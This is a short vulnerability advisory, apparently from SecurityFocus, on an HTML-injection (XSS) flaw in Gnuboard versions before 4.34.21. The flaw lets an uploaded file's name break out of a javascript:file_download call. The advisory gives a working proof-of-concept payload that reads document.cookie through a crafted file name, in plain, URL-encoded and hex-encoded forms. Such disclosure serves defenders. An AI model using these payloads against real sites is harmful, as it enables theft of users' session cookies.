source: http://www.securityfocus.com/bid/52622/info
Gnuboard is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
Attacker-supplied HTML and script code would run in the context of the affected website, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user.
Gnuboard versions prior to 4.34.21 are vulnerable.
1) you can upload a file (e.g. a.txt) to the BBS.
2) you can download it from the following scripts and figure out what's working on.
### vulnerable code #########################################################################################################################
javascript:file_download('./download.php?bo_table=test&wr_id=13&no=0&sca=&sfl=&stx=&sst=&sod=&spt=0&page=0', 'a.txt');
#############################################################################################################################################
3) you can also upload a file with name of XSS code. The following is the example.
- ');alert(document.cookie);//
- %27);alert(document.cookie);%2f%2f
- %27%29%3b%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%2f%2f
### vulnerable code #########################################################################################################################
javascript:file_download('./download.php?bo_table=test&wr_id=13&no=0&sca=&sfl=&stx=&sst=&sod=&spt=0&page=0', '');alert(document.cookie);//');
#############################################################################################################################################
4) The example file works by pulling in the Javascript and running it as part of the Javascript.